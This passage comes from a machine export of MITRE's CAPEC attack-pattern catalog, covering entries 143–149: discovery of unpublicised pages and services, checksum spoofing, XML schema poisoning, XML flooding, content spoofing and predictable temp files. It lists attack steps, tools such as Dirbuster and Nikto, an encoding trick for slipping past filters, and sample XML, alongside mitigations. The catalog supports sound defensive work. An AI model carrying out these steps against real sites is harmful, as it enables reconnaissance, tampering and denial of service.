Corporation + + + + + 2017-01-09 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification4772 + Modification_4772 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Attack_Phases, Attack_Prerequisites, Description Summary, Examples-Instances, Payload_Activation_Impact, Related_Vulnerabilities, Resources_Required + + + + + + + + + + + + #indModificationModification4778 + Modification_4778 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Execution_Flow + + + + + + + + + + + + #indModificationModification4784 + Modification_4784 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Related_Weaknesses, Taxonomy_Mappings + + + + + + + + + + + + #CAPEC-143 + Detect Unpublicized Web Pages + + + + + + + + + 143 + + + + + Detect Unpublicized Web Pages + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary searches a targeted web site for web pages that have not been publicized. In doing this, the adversary may be able to gain access to information that the targeted site did not intend to make public.</xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern4797 + Related_Attack_Pattern_4797 + + + + + + + + + + + + + + 150 + + + + + 514 + + + + + 515 + + + + + + + + + + + + #indAttackStepAttackStep4803 + Attack_Step_4803 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Find target web site] An adversary finds a target web site that they think may have unpublicized web pages</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep4808 + Attack_Step_4808 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Map the published web site] The adversary will map the published web site either by using an automated tool or by manually accessing well-known debugging or logging pages, or otherwise predictable pages within the site tree</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use Dirbuster to brute force directories and file names to find unpublicized pages</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Find a pattern in the naming of documents and extrapolate this pattern to discover additional documents that have been created but are no longer externally linked</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep4815 + Attack_Step_4815 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Try to find weaknesses or information] The adversary will try to find weaknesses or information on the unpublicized pages that the targeted site did not intend to be public</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Manually analyze files or pages for information that could be useful in a further attack</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a static analysis tool to find weaknesses in unpublished web pages</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep4822 + Attack_Step_4822 + + + + + + + + + 4 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Follow-up attack] Use any information or weaknesses found to carry out a follow-up attack</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The targeted web site must include pages within its published tree that are not connected to its tree of links. The sensitivity of the content of these pages determines the severity of this attack.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Spidering tools to explore the target web site are extremely useful in this attack especially when attacking large sites. Some tools might also be able to automatically construct common page locations from known paths.</xhtml:div> + + + + + 425 + + + + + + + + + + + + #indContentHistoryContentHistory4837 + Content_History_4837 + + + + + + + + + + + + + + + + #indSubmissionSubmission4838 + Submission_4838 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification4843 + Modification_4843 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-12-07 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification4849 + Modification_4849 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification4855 + Modification_4855 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification4861 + Modification_4861 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-10-21 + + + + + Updated Description, Execution_Flow + + + + + + + + + + + + #indModificationModification4867 + Modification_4867 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2023-01-24 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #CAPEC-144 + Detect Unpublicized Web Services + + + + + + + + + 144 + + + + + Detect Unpublicized Web Services + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary searches a targeted web site for web services that have not been publicized. This attack can be especially dangerous since unpublished but available services may not have adequate security controls placed upon them given that an administrator may believe they are unreachable.</xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern4880 + Related_Attack_Pattern_4880 + + + + + + + + + + + + + + 150 + + + + + 514 + + + + + 515 + + + + + + + + + + + + #indAttackStepAttackStep4886 + Attack_Step_4886 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Find target web site] An adversary finds a target web site that they think may have unpublicized web services</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep4891 + Attack_Step_4891 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Map the published web site] The adversary will map the published web site either by using an automated tool or by manually accessing well-known debugging or logging pages, or otherwise predictable pages within the site tree</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use Dirbuster to brute force directories and file names to find unpublicized web services</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Find a pattern in the naming of documents and extrapolate this pattern to discover additional documents that have been created but are no longer externally linked</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep4898 + Attack_Step_4898 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Try to find weaknesses or information] The adversary will try to find weaknesses in the unpublicized services that the targeted site did not intend to be public</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use Nikto to look for web service vulnerabilities</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep4904 + Attack_Step_4904 + + + + + + + + + 4 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Follow-up attack] Use any information or weaknesses found to carry out a follow-up attack</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The targeted web site must include unpublished services within its web tree. The nature of these services determines the severity of this attack.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Spidering tools to explore the target web site are extremely useful in this attack especially when attacking large sites. Some tools might also be able to automatically construct common service queries from known paths.</xhtml:div> + + + + + 425 + + + + + + + + + + + + #indContentHistoryContentHistory4919 + Content_History_4919 + + + + + + + + + + + + + + + + #indSubmissionSubmission4920 + Submission_4920 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification4925 + Modification_4925 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-12-07 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification4931 + Modification_4931 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification4937 + Modification_4937 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification4943 + Modification_4943 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-10-21 + + + + + Updated Description, Execution_Flow + + + + + + + + + + + + #indModificationModification4949 + Modification_4949 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2023-01-24 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #CAPEC-145 + Checksum Spoofing + + + + + + + + + 145 + + + + + Checksum Spoofing + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary spoofs a checksum message for the purpose of making a payload appear to have a valid corresponding checksum. Checksums are used to verify message integrity. They consist of some value based on the value of the message they are protecting. Hash codes are a common checksum mechanism. Both the sender and recipient are able to compute the checksum based on the contents of the message. If the message contents change between the sender and recipient, the sender and recipient will compute different checksum values. Since the sender's checksum value is transmitted with the message, the recipient would know that a modification occurred. In checksum spoofing an adversary modifies the message body and then modifies the corresponding checksum so that the recipient's checksum calculation will match the checksum (created by the adversary) in the message. This would prevent the recipient from realizing that a change occurred.</xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern4961 + Related_Attack_Pattern_4961 + + + + + + + + + + + + + + 148 + + + + + 512 + + + + + 515 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary must be able to intercept a message from the sender (keeping the recipient from getting it), modify it, and send the modified message to the recipient.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The sender and recipient must use a checksum to protect the integrity of their message and transmit this checksum in a manner where the adversary can intercept and modify it.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The checksum value must be computable using information known to the adversary. A cryptographic checksum, which uses a key known only to the sender and recipient, would thwart this attack.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary must have a utility that can intercept and modify messages between the sender and recipient.</xhtml:div> + + + + + 354 + + + + + + + + + + + + #indContentHistoryContentHistory4977 + Content_History_4977 + + + + + + + + + + + + + + + + #indSubmissionSubmission4978 + Submission_4978 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification4983 + Modification_4983 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Attack_Prerequisites, Description Summary, Resources_Required + + + + + + + + + + + + #indModificationModification4989 + Modification_4989 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Attack_Patterns, Related_Weaknesses + + + + + + + + + + + + #CAPEC-146 + XML Schema Poisoning + + + + + + + + + 146 + + + + + XML Schema Poisoning + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary corrupts or modifies the content of XML schema information passed between a client and server for the purpose of undermining the security of the target. XML Schemas provide the structure and content definitions for XML documents. Schema poisoning is the ability to manipulate a schema either by replacing or modifying it to compromise the programs that process documents that use this schema.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern5002 + Related_Attack_Pattern_5002 + + + + + + + + + + + + + + 271 + + + + + + + + + + + + #indAttackStepAttackStep5005 + Attack_Step_5005 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Determine if XML schema is local or remote] Because this attack differs slightly if the target uses remote XML schemas versus local schemas, the adversary first needs to determine which of the two are used.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep5010 + Attack_Step_5010 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Gain access to XML schema] The adversary gains access to the XML schema so that they can modify the contents.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">For a local scenario, the adversary needs access to the machine that the schema is located on and needs to gain permissions to alter the contents of the file.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">For a remote scenario, the adversary needs to be able to sniff HTTP traffic that contains an XML schema.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep5017 + Attack_Step_5017 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Poison XML schema] Once the adversary gains access to the XML schema, they will alter it to achieve a desired effect. Locally, they can simply modify the file. For remote schemas, the adversary will alter the schema in transit by performing an adversary in the middle attack.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Cause a denial of service by modifying the schema so that it does not contain required information for subsequent processing. For example, the unaltered schema may require a @name attribute in all submitted documents. If the adversary removes this attribute from the schema then documents created using the new grammar may lack this field, which may cause the processing application to enter an unexpected state or record incomplete data.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Manipulation of the data types described in the schema may affect the results of calculations. For example, a float field could be changed to an int field.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Change the encoding defined in the schema for certain fields allowing the contents to bypass filters that scan for dangerous strings. For example, the modified schema might use a URL encoding instead of ASCII, and a filter that catches a semicolon (;) might fail to detect its URL encoding (%3B).</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Some level of access to modify the target schema.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The schema used by the target application must be improperly secured against unauthorized modification and manipulation.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Access to the schema and the knowledge and ability modify it. Ability to replace or redirect access to the modified schema.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence5034 + Consequence_5034 + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A successful schema poisoning attack can compromise the availability of the target system's service by exhausting its available resources.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence5040 + Consequence_5040 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence5044 + Consequence_5044 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: Protect the schema against unauthorized modification.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: For applications that use a known schema, use a local copy or a known good repository instead of the schema reference supplied in the XML document. Additionally, ensure that the proper permissions are set on local files to avoid unauthorized modification.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: For applications that leverage remote schemas, use the HTTPS protocol to prevent modification of traffic in transit and to avoid unauthorized modification.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;XML Schema Poisoning Attacks can often occur locally due to being embedded within the XML document itself or being located on the host within an improperaly protected file. In these cases, the adversary can simply edit the XML schema without the need for additional privileges. An example of the former can be seen below:&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="attack"&gt;&amp;lt;?xml version="1.0"?&amp;gt; &amp;lt;!DOCTYPE contact [ &amp;lt;!ELEMENT contact (name,phone,email,address)&amp;gt; &amp;lt;!ELEMENT name (#PCDATA)&amp;gt; &amp;lt;!ELEMENT phone (#PCDATA)&amp;gt; &amp;lt;!ELEMENT email (#PCDATA)&amp;gt; &amp;lt;!ELEMENT address (#PCDATA)&amp;gt; ]&amp;gt; &amp;lt;note&amp;gt; &amp;lt;name&amp;gt;John Smith&amp;lt;/name&amp;gt; &amp;lt;phone&amp;gt;555-1234&amp;lt;/phone&amp;gt; &amp;lt;email&amp;gt;jsmith@email.com&amp;lt;/email&amp;gt; &amp;lt;address&amp;gt;1 Example Lane&amp;lt;/address&amp;gt; &amp;lt;/note&amp;gt;&amp;lt;/capec:Code&amp;gt;&lt;/xhtml:div&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;If the 'name' attribute is required in all submitted documents and this field is removed by the adversary, the application may enter an unexpected state or record incomplete data. Additionally, if this data is needed to perform additional functions, a Denial of Service (DOS) may occur.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;XML Schema Poisoning Attacks can also be executed remotely if the HTTP protocol is being used to transport data. :&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="attack"&gt;&amp;lt;?xml version="1.0"?&amp;gt; &amp;lt;!DOCTYPE contact SYSTEM "http://example.com/contact.dtd"[ &amp;lt;note&amp;gt; &amp;lt;name&amp;gt;John Smith&amp;lt;/name&amp;gt; &amp;lt;phone&amp;gt;555-1234&amp;lt;/phone&amp;gt; &amp;lt;email&amp;gt;jsmith@email.com&amp;lt;/email&amp;gt; &amp;lt;address&amp;gt;1 Example Lane&amp;lt;/address&amp;gt; &amp;lt;/note&amp;gt;&amp;lt;/capec:Code&amp;gt;&lt;/xhtml:div&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;The HTTP protocol does not encrypt the traffic it transports, so all communication occurs in plaintext. This traffic can be observed and modified by the adversary during transit to alter the XML schema before it reaches the end user. The adversary can perform a Adversary-in-the-Middle (CAPEC-94) Attack to alter the schema in the same way as the previous example and to acheive the same results.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + 15 + + + + + 472 + + + + + + + + + + + + #indContentHistoryContentHistory5070 + Content_History_5070 + + + + + + + + + + + + + + + + #indSubmissionSubmission5071 + Submission_5071 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification5076 + Modification_5076 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-01-09 + + + + + Updated Description Summary + + + + + + + + + + + + #indModificationModification5082 + Modification_5082 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Attack_Motivation-Consequences, Attack_Prerequisites, Description Summary, Examples-Instances, Solutions_and_Mitigations, Typical_Likelihood_of_Exploit + + + + + + + + + + + + #indModificationModification5088 + Modification_5088 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Description + + + + + + + + + + + + #indModificationModification5094 + Modification_5094 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Example_Instances + + + + + + + + + + + + #indModificationModification5100 + Modification_5100 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-10-21 + + + + + Updated Description, Execution_Flow + + + + + + + + + + + + #indModificationModification5106 + Modification_5106 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Example_Instances + + + + + + + + + + + + #CAPEC-147 + XML Ping of the Death + + + + + + + + + 147 + + + + + XML Ping of the Death + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern5119 + Related_Attack_Pattern_5119 + + + + + + + + + + + + + + 528 + + + + + + + + + + + + #indAttackStepAttackStep5122 + Attack_Step_5122 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Survey the target] Using a browser or an automated tool, an attacker records all instance of web services to process XML requests.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use an automated tool to record all instances of URLs to process XML requests.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a browser to manually explore the website and analyze how the application processes XML requests.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep5129 + Attack_Step_5129 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Launch a resource depletion attack] The attacker delivers a large number of small XML messages to the target URLs found in the explore phase at a sufficiently rapid rate. It causes denial of service to the target application.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Send a large number of crafted small XML messages to the target URL.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The target must receive and process XML transactions.</xhtml:div> + + + + + + + + + + + + #indSkillSkill5140 + Skill_5140 + + + + + + + + + + + + + + To send small XML messages + + + + + + + + + + + + #indSkillSkill5141 + Skill_5141 + + + + + + + + + + + + + + To use distributed network to launch the attack + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Transaction generator(s)/source(s) and ability to cause arrival of messages at the target with sufficient rapidity to overload target. Larger targets may be able to handle large volumes of requests so the attacker may require significant resources (such as a distributed network) to affect the target. However, the resources required of the attacker would be less than in the case of a simple flooding attack against the same target.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence5147 + Consequence_5147 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">DoS: resource consumption (other)</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: Build throttling mechanism into the resource allocation. Provide for a timeout mechanism for allocated resources whose transaction does not complete within a specified interval.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Provide for network flow control and traffic shaping to control access to the resources.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Consider the case of attack performed against the createCustomerBillingAccount Web Service for an online store. In this case, the createCustomerBillingAccount Web Service receives a huge number of simultaneous requests, containing nonsense billing account creation information (the small XML messages). The createCustomerBillingAccount Web Services may forward the messages to other Web Services for processing. The application suffers from a high load of requests, potentially leading to a complete loss of availability the involved Web Service.</xhtml:div> + + + + + 400 + + + + + 770 + + + + + + + + + + + + #indContentHistoryContentHistory5164 + Content_History_5164 + + + + + + + + + + + + + + + + #indSubmissionSubmission5165 + Submission_5165 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification5170 + Modification_5170 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Solutions_and_Mitigations + + + + + + + + + + + + #CAPEC-148 + Content Spoofing + + + + + + + + + 148 + + + + + Content Spoofing + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary modifies content to make it contain something other than what the original content producer intended while keeping the apparent source of the content unchanged. The term content spoofing is most often used to describe modification of web pages hosted by a target to display the adversary's content instead of the owner's content. However, any content can be spoofed, including the content of email messages, file transfers, or the content of other network communication protocols. Content can be modified at the source (e.g. modifying the source file for a web page) or in transit (e.g. intercepting and modifying a message between the sender and recipient). Usually, the adversary will attempt to hide the fact that the content has been modified, but in some cases, such as with web site defacement, this is not necessary. Content Spoofing can lead to malware exposure, financial fraud (if the content governs financial transactions), privacy violations, and other unwanted outcomes.</xhtml:div> + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The target must provide content but fail to adequately protect it against modification.The adversary must have the means to alter data to which they are not authorized. If the content is to be modified in transit, the adversary must be able to intercept the targeted messages.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;If the content is to be modified in transit, the adversary requires a tool capable of intercepting the target's communication and generating/creating custom packets to impact the communications.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;In some variants, the targeted content is altered so that all or some of it is redirected towards content published by the attacker (for example, images and frames in the target's web site might be modified to be loaded from a source controlled by the attacker). In these cases, the attacker requires the necessary resources to host the replacement content.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence5192 + Consequence_5192 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A successful content spoofing attack compromises the integrity of the application data.</xhtml:div> + + + + + 345 + + + + + + + + + + + + #indTaxonomyMappingDefacement + Defacement + + + + + + + + + + + + + + 1491 + + + + + Defacement + + + + + + + + + + + + #indTaxonomyMappingContentSpoofing + Content Spoofing + + + + + + + + + + + + + + 12 + + + + + Content Spoofing + + + + + + + + + + + + #indTaxonomyMappingContentSpoofing + Content Spoofing + + + + + + + + + + + + + + Content Spoofing + + + + + + + + + + + + #indContentHistoryContentHistory5214 + Content_History_5214 + + + + + + + + + + + + + + + + #indSubmissionSubmission5215 + Submission_5215 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification5220 + Modification_5220 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Activation_Zone, Attack_Motivation-Consequences, Attack_Prerequisites, Description Summary, Injection_Vector, Payload, Payload_Activation_Impact, Related_Weaknesses, Resources_Required, Typical_Likelihood_of_Exploit + + + + + + + + + + + + #indModificationModification5226 + Modification_5226 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification5232 + Modification_5232 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Prerequisites + + + + + + + + + + + + #indModificationModification5238 + Modification_5238 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification5244 + Modification_5244 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #CAPEC-149 + Explore for Predictable Temporary File Names + + + + + + + + + 149 + + + + + Explore for Predictable Temporary File Names + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker explores a target to identify the names and locations of predictable temporary files for the purpose of launching further attacks against the target. This involves analyzing naming conventions and storage locations of the temporary files created by a target application. If an attacker can predict the names of temporary files they can use this information to mount other attacks, such as information gathering and symlink attacks.</xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern5258 + Related_Attack_Pattern_5258 + + + + + + + + + + + + + + 497 + + + + + 512 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern5261 + Related_Attack_Pattern_5261 + + + + + + + + + + + + + + 155 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The targeted application must create names for temporary files using a predictable procedure, e.g. using sequentially increasing numbers.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The attacker must be able to see the names of the files the target is creating.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">None: No specialized resources are required to execute this type of attack.</xhtml:div> + + + + + 377 + + + + + + + + + + + + #indContentHistoryContentHistory5273 + Content_History_5273 + + + + + + + + + + + + + + + + #indSubmissionSubmission5274 + Submission_5274 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification5279 + Modification_5279 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-01-09 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification5285 + Modification_5285 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Attack_Prerequisites, Resources_Required + + + + + + + + + + + + #indModificationModification5291 + Modification_5291 + + + + + + + + + CAPEC Content Team + + + 